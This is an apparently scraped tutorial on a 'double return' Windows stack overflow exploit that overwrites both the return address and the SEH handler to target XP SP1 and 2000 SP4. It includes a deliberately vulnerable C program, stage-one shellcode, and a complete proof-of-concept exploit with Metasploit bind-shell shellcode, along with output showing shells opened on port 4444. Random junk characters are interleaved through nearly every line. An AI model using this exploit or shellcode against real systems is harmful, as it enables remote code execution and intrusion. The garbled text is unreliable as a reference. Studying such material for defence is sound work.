The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well. 8 j: O3 d3 E) l3 C ?2 s 4 o$ |. |4 U, y0 i8 M8 ]+ V[Buf] <- Shellcode ) A* o4 b8 _# o$ j i; _ E! F[Return Address] <- jmp register (for Windows XP sp1)- g3 I0 M4 h* k8 W
[Various Stack Data] <- Junk4 k' R' R" H' i
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward& `! q6 Z+ i1 _) ]* p4 n
[SE Handler] <- jmp register (for Win2k sp4) ' X% R0 ?/ S( z' B[Stage1 Shellcode] <- stage1 shellcode for win2k( y4 J0 J! W( @% Q' k. L x* N6 D$ `
0 k+ K) J' j( l
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses * V7 {/ F* F. ^ a+ e! x+ H. P- k# }' m- k# e+ `/ U
Necessary Tools: 4 V( b, ]6 s, C% T; }- OllyDBG6 B0 }4 D, Y8 y/ K$ V' h
- C/C++ Compiler R- `% p# o. X, G8 r; N- nasm# [* ]: v }' J7 N5 x* P
- Sac ; C8 @ M, U9 }/ H) H- f$ i) j# L' H8 y9 x+ \
Vulnerable Code:# U3 e! `4 z; ?
//lamebuf.c3 w4 n( [. ~1 U8 i0 q
#include<stdio.h>6 r6 r3 @& S2 y2 V* w* d- P* N
#include<string.h> z5 l) V" x2 ^& F6 _
#include<windows.h> r& ]1 L& b1 ~( Zint main(int argc,char *argv[]){) r( d! T8 N9 G
, x0 t! K+ u9 k" b, V2 s
char buf[512];! |+ q8 o3 h4 B6 m- c
char buf1[1024]; // <- simulate a stack ' Z! P; Z) ~. J$ I' E! S//DebugBreak();( [( \0 d$ W+ L/ l8 W4 [3 k: @/ p; z9 e" b
if (argc != 2){ return -1; }; \4 S0 j4 S9 O' {) ~& P
2 \& M- f7 V/ N% C4 J& u, h2 r- P) I
strcpy(buf,argv[1]);7 J) J4 x# U& e# u. k
return 0x0;% S$ U: A$ a m, v) P, f
}+ h& l/ \% T& S
# {/ F# \8 q. O
Getting Started:, d* t6 t$ t" v( n8 E- L
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:) l. o+ [/ c6 z; Z( P+ y
; u, O% Z+ o! ~EAX 00000000 * S9 p* u3 l" m! i- KECX 00321404 : v, g% ~+ O% J' j% ?EDX 00414141, V8 R. t4 W/ R0 t9 Q
EBX 7FFDF000; }' R8 r, E. r$ B# S
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; T+ a# N q% a# z8 _% D. j
EBP 414141415 u- ~! E. {5 Y5 _
ESI 77D4595F/ r9 h0 V5 `6 }- R0 E M
EDI 77F59037 ntdll.77F59037 4 U& H5 z F2 r# PEIP 41414141/ ?2 m; J1 j8 P+ f! N4 |9 V7 H" E; s
+ p$ ]/ F. m9 h" @' K% C7 H
Lets take a look at the stack and see what happened to the default exception handler: * i7 u9 ^/ E! n; M; p3 H0x0012FFB0 41414141 Pointer to next SEH Record / _! O6 [3 ~5 F# g" q0x0012FFB4 41414141 SE Handler $ [% R+ Y2 z6 V) S" I% P M: v) a
We successfully overwrote the return address and the default exception handler." V+ c, z. c6 d7 C+ a6 R
) @ ]# J7 O- t- _Primary Return Address (Windows XP SP1 EN):$ D `' Z7 z# I3 Y/ f- _2 Z3 t
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be: $ n( s- ]- U1 Y"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4" 0 h* z W+ Y9 D y$ J ! ?9 ]8 y2 X" V, x7 H/ w& R! [; ], R* mSecondary Return Address (Windows 2000 SP4 EN): % ~! V1 Y, K- t4 J3 i) {The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:2 R9 B O9 h, X& |( t; v
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"* N2 l7 H% o) z5 `
; s* q( o& \, I- L5 R, L% K
Proof Of Concept: ! \" W. ]; B- {+ K& ]; s// exploit.c ' Y) f6 _1 A- q// Tal zeltzer - [Double Return] //; c, O' }# m9 W; K, z9 [
" t1 O l1 I6 X; E7 |+ ^* k#include<stdio.h> , @" Q( Q+ d. ~ T( r- L/ g$ i#include<string.h> - v7 U$ h( g! C' I& v& z#include<windows.h> $ B: u/ ]% U+ K/ I8 c1 k. H: Z3 w( k
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp( }( }6 g9 A z( v, ^7 v3 n
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx2 ` C+ {6 Y8 a0 Y) \# \
% v2 C& W8 Q: P E. k& B5 ^
// Stage1 For WinXP Sp1 English! u3 b, o7 ]7 U! c
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"; 3 S/ V( U' b' J1 U8 D! W9 K7 ?2 N; J
// Stage1 For Win2k Sp4 English ( ^: }+ R9 {8 Vunsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";4 ~0 v: k0 v/ o, C& l" ^- G
$ Z$ \; r; S7 [) W3 e// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com8 s- \7 u' }' D- e3 c, T
unsigned char shellcode[] =# @) n5 @+ @5 t7 P
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85" ) F- a& j% D& z1 H"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19" # s. d& k+ h- p S0 e9 H"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05" 1 j% Q# `+ r! q/ L/ b- {2 `2 h8 N N' ~4 H"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"7 o6 [6 b/ d# ]7 \8 O* X
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74" $ l' x7 S) B' ?1 d# L6 V- E"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15" . c9 Q. V, Q) A t. Q$ o$ Z* L"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14" * O5 p* |9 e, y0 K"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"3 D7 _* y+ x" y# f, ~ I
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce", D% f$ [6 f( l8 |. R. [* r) e
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"+ Q8 i; c# N- C
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb" 7 x% |% Y, s5 M0 i* X4 s* K"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"! m* ?3 C- T1 U' d% G% L
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6" ) {5 t7 R. X6 ^. z Q/ v"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16" * _/ n9 ]3 V+ J$ J" E! y"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"2 w9 \7 j; C9 L, N B* d
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"# U" i+ Z0 z3 c3 l" I5 j
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18" 9 ?* K# }6 \: n& i$ U. l"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f" 8 T( h6 t" ~& l% y; v- A"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"3 `6 Q2 u( C" Z! t ?5 X
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e": L8 ]: a4 i- [/ D+ I* ^/ ]
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"4 ]8 U% \% V$ H# j+ T) [
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"0 a; T0 j, @ }6 m
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"' P" Q. ]% p4 n7 {2 l& V
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a" . O6 u# N* `4 y, L- K"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98"; : x) F5 J- [) R, _* U 0 q- V+ K; V: J5 } ) w$ o4 l+ i7 Q0 [0 ]int main(int argc,char *argv[]){ 3 c0 ], i3 z F ) d* T$ [2 ?/ F5 r/ _/ j, uchar *bufExe[3];4 J% e7 G7 X: q: x9 ]' k7 E
char buf[2048]; . P% _; c' u8 h* |4 HbufExe[0] = "lamebuf.exe";+ f* L) W/ h+ N& d5 _ J; |' [
bufExe[2] = NULL; / }5 N" Z5 ^% m6 i% W# i0 F! e+ ~* n9 _- v3 f W0 W V
memset(buf,0x0,sizeof(buf)); 8 o& z+ Y. E% j- e* ^, ~% jmemset(buf,0x90,1652); " |% _/ S6 Q5 N" H e( A' ]" |) f8 omemcpy(&buf[24],shellcode,sizeof(shellcode)-1);9 l( k1 e$ @& Y& A. z# \) z5 f
4 ^, R/ v5 L2 y; N: Z
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode 1 x0 T$ V; W1 J# F3 G* ^* v! O1 {memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode 5 [; g5 n2 s0 D Q* d& n/ H9 |5 b 0 ^1 g9 E- ?5 ~, @" U3 X1 ^# h8 J, d*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en ; w/ W! \9 ^8 V& C: s* N) o9 @% @*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code 5 m5 D! ?1 G8 o! t8 |* o: v*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en 1 M% x5 m; d$ |" _, S7 U0 S 7 i' W4 R/ Q( W; [7 I4 `: D" p* b
bufExe[1] = buf;: q1 v. ?5 V- _7 L* m5 o7 O6 z! T
//Execute the vulnerable application 2 p+ p' a* a) a# O6 ^; qexecve(bufExe[0],bufExe,NULL);5 h8 l# X x( @- W3 C
5 N, f& ~" w. E- I9 W5 v2 M: F3 xreturn 0x0; # l, P5 ?$ t/ T}7 e' A6 F7 b) K8 L1 g$ p& H3 J# p
o4 ^" ]8 O, |( s4 g6 uExploit under Windows XP SP1:% R; k, a# y& Q" R7 M2 ?: y& [
C:\>exploit- R4 x7 _& L- v/ U: T
C:\> . T, E8 O q3 N% C( n% fC:\>telnet 127.0.0.1 4444 & M- ~' n9 o% ]3 x4 J$ F$ a. O8 x, X+ |: Q2 A5 h
Microsoft Windows XP [Version 5.1.2600]$ ]) s) `1 J8 J0 G8 K
(C) Copyright 1985-2001 Microsoft Corp. # g% B) A+ u1 U* j( w& i% U0 E6 e0 L/ N; E& E+ _
C:\> 2 x5 F0 s( s* I. @9 U, D. q! K9 c9 Q' s8 G
Exploit under Windows 2000 SP4:. g; B! m* s% }7 K3 T
C:\>exploit4 M1 H5 P1 c3 {, E; V
C:\> " {" ^/ E$ J B: {* ]3 SC:\>telnet 127.0.0.1 4444 , V; p% C8 Z% H: b/ v) g) o0 s. F! [$ X; R/ H. z- t
Microsoft Windows 2000 [Version 5.00.2195] 0 i8 F. n& x3 k* N9 Z$ P) \(C) Copyright 1985-2000 Microsoft Corp.